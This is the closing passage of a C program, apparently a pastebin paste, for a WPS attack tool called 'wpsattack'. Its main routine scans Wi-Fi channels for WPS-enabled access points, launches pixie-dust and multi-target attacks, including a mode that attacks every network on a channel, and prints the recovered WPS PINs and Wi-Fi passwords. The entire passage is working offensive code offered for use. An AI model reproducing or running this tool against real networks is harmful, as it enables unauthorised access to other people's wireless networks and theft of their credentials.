  2431.                     fastpixie=1;
  2432.                     scanmode=1;
  2433.                 }
  2434.             else if(!strcmp(argv[i],"-M"))multiattack=0;
  2435.             else if(!strcmp(argv[i],"-P"))PIXIEDUST=0;
  2436.             else if(!strcmp(argv[i],"-N"))FUCKNACK=1;
  2437.             else if(!strcmp(argv[i],"-D"))FUCKSESSIONS=1;
  2438.             else if(!strcmp(argv[i],"-W"))if((i+1)>=argc||argv[i+1][0]=='-')return printf("Error: -W requires an argument\n");
  2439.                 else sscanf(argv[++i],"%llu",&MIDDELAY);
  2440.         }
  2441.  
  2442.     if(nch==0)
  2443.         {
  2444.             nch=13;
  2445.             channels[0]=1;
  2446.             channels[1]=2;
  2447.             channels[2]=3;
  2448.             channels[3]=4;
  2449.             channels[4]=5;
  2450.             channels[5]=6;
  2451.             channels[6]=7;
  2452.             channels[7]=8;
  2453.             channels[8]=9;
  2454.             channels[9]=10;
  2455.             channels[10]=11;
  2456.             channels[11]=12;
  2457.             channels[12]=13;
  2458.         }
  2459.     if(!device)
  2460.         {
  2461.             printf("[wpsattack] No device specified, please choose from the list below:\n");
  2462.             pcap_if_t *devs;
  2463.             pcap_findalldevs(&devs,NULL);
  2464.             pcap_if_t *akt=devs;
  2465.             pcap_if_t *arr[32];
  2466.             int i=0;
  2467.             while(akt)
  2468.                 {
  2469.                     arr[i++]=akt;
  2470.                     printf("%d. %s\n",i,akt->name);
  2471.                     akt=akt->next;
  2472.                 }
  2473.             printf("\nChoose device ID: ");
  2474.             device=malloc(64);
  2475.             int chosen;
  2476.             scanf("%d",&chosen);
  2477.             if(chosen<1||chosen>i)return printf("[wpsattack] Wrong device ID\n");
  2478.             strcpy(device,arr[chosen-1]->name);
  2479.             pcap_freealldevs(devs);
  2480.         }
  2481.     if(!src_mac)
  2482.         {
  2483.             struct ifreq ifr;
  2484.             unsigned char *mac;
  2485.             int fd = socket(AF_INET,SOCK_DGRAM,0);
  2486.             ifr.ifr_addr.sa_family=AF_INET;
  2487.             strcpy(ifr.ifr_name,device);
  2488.             ioctl(fd,SIOCGIFHWADDR,&ifr);
  2489.             close(fd);
  2490.             mac=(unsigned char *)ifr.ifr_hwaddr.sa_data;
  2491.             src_mac=malloc(18);
  2492.             sprintf(src_mac,"%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5]);
  2493.         }
  2494.     if(!fastpixie&&!ttt&&nch==1)scanmode=1;
  2495.     if(scanmode||onlyscan)
  2496.         {
  2497.             printf("[wpsattack] Scanning for %d seconds\n",scantime);
  2498.             found=0;
  2499.             unsigned long long int lastchange=gettick();
  2500.             int channel=0;
  2501.             setchannel(device,channels[channel]);
  2502.             printf("\n\nID PWR      BSSID        CHANNEL\tWPS   LOCKED\tESSID\n");
  2503.             fp=pcap_open_live(device,65535,1,1000,NULL);
  2504.             if(!fp)
  2505.                 {
  2506.                     printf("Error: Failed to open %s for capture\n",device);
  2507.                     exit(1);
  2508.                 }
  2509.             while(1)
  2510.                 {
  2511.                     struct pcap_pkthdr head;
  2512.                     const unsigned char *pkt=pcap_next(fp,&head);
  2513.                     if(gettick()-lastchange>(scantime*1000)/nch)
  2514.                         {
  2515.                             channel++;
  2516.                             if(channel>=nch)break;
  2517.                             setchannel(device,channels[channel]);
  2518.                             lastchange=gettick();
  2519.                         }
  2520.                     if(!pkt)continue;
  2521.                     else scanshit(pkt,head,&wifi);
  2522.                 }
  2523.             pcap_close(fp);
  2524.             if(onlyscan)exit(0);
  2525.         }
  2526.     if(!fastpixie&&!noc&&!ttt)return printf("[wpsattack] No attack mode specified (-b,-c or -A)\n");
  2527.     if(!fastpixie&&ttt)
  2528.         {
  2529.             if(nch==0)return printf("[wpsattack] Please specify channel (-c)\n");
  2530.             setchannel(device,channels[0]);
  2531.             for(i=0; i<ttt; i++)addattackex(src_mac,targets[i],1,0,dssid[i]);
  2532.         }
  2533.     if(!fastpixie&&!ttt&&nch==1)
  2534.         {
  2535.             printf("[wpsattack] Attacking everything on channel %d\n",channels[0]);
  2536.             SCANLIST *akt=wifi;
  2537.             while(akt)
  2538.                 {
  2539.                     char strmac[32];
  2540.                     raw2hex(&akt->bssid,strmac,6);
  2541.                     if(akt->channel==channels[0]&&strcmp(akt->ssid,"NULL"))addattackex(src_mac,strmac,1,0,NULL);
  2542.                     akt=akt->next;
  2543.                 }
  2544.         }
  2545.     pthread_t th;
  2546.     pthread_create(&th,0,init_device,device);
  2547.     if(!VERBOSE)pthread_create(&th,0,gui,NULL);
  2548.  
  2549.     if(fastpixie)
  2550.         {
  2551.             if(multiattack)
  2552.                 {
  2553.                     for(i=0; i<nch; i++)
  2554.                         {
  2555.                             setchannel(device,channels[i]);
  2556.                             SCANLIST *akt=wifi;
  2557.                             threads=0;
  2558.                             attack_list=NULL;
  2559.                             while(akt)
  2560.                                 {
  2561.                                     char strmac[32];
  2562.                                     raw2hex(&akt->bssid,strmac,6);
  2563.                                     if(akt->channel==channels[i]&&strcmp(akt->ssid,"NULL"))addattackex(src_mac,strmac,1,60000,NULL);
  2564.                                     akt=akt->next;
  2565.                                 }
  2566.                             if(threads==0)continue;
  2567.                             printf("\nATTACKING CHANNEL %d\n",channels[i]);
  2568.                             while(1)
  2569.                                 {
  2570.                                     autoatak=1;
  2571.                                     sleep(1);
  2572.                                     int active=0;
  2573.                                     sem_wait(&mutex);
  2574.                                     ATTACK_INFO *aktx=attack_list;
  2575.                                     while(aktx)
  2576.                                         {
  2577.                                             if(aktx->active)active++;
  2578.                                             aktx=aktx->next;
  2579.                                         }
  2580.                                     sem_post(&mutex);
  2581.                                     if(!active)break;
  2582.                                 }
  2583.                             autoatak=0;
  2584.                         }
  2585.                 }
  2586.             else
  2587.                 {
  2588.                     SCANLIST *akt=wifi;
  2589.                     while(akt)
  2590.                         {
  2591.                             autoatak=1;
  2592.                             setchannel(device,akt->channel);
  2593.                             char strmac[32];
  2594.                             raw2hex(&akt->bssid,strmac,6);
  2595.                             printf("ATTACK: %s\n",akt->ssid);
  2596.                             attack_list=NULL;
  2597.                             addattackex(src_mac,strmac,1,60000,NULL);
  2598.                             while(attack_list&&attack_list->active)sleep(1);
  2599.                             akt=akt->next;
  2600.                         }
  2601.                     autoatak=0;
  2602.                 }
  2603.             killgui=1;
  2604.         }
  2605.     while(1)
  2606.         {
  2607.             int active=0;
  2608.             sem_wait(&mutex);
  2609.             ATTACK_INFO *aktx=attack_list;
  2610.             while(aktx)
  2611.                 {
  2612.                     if(aktx->active)active++;
  2613.                     aktx=aktx->next;
  2614.                 }
  2615.             sem_post(&mutex);
  2616.             if(!active)break;
  2617.             sleep(1);
  2618.         }
  2619.  
  2620.     sem_wait(&passes_sem);
  2621.  
  2622.     printf("\nPASSWORDS:\n");
  2623.     pASSES *akt=passlist;
  2624.     while(akt)
  2625.         {
  2626.             printf("SSID: %s PIN: %s PASS: %s HEX: ",akt->ssid,akt->pin,akt->pass);
  2627.             printhex(akt->pass,akt->passlen);
  2628.             akt=akt->next;
  2629.         }
  2630.     return 0;
  2631. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement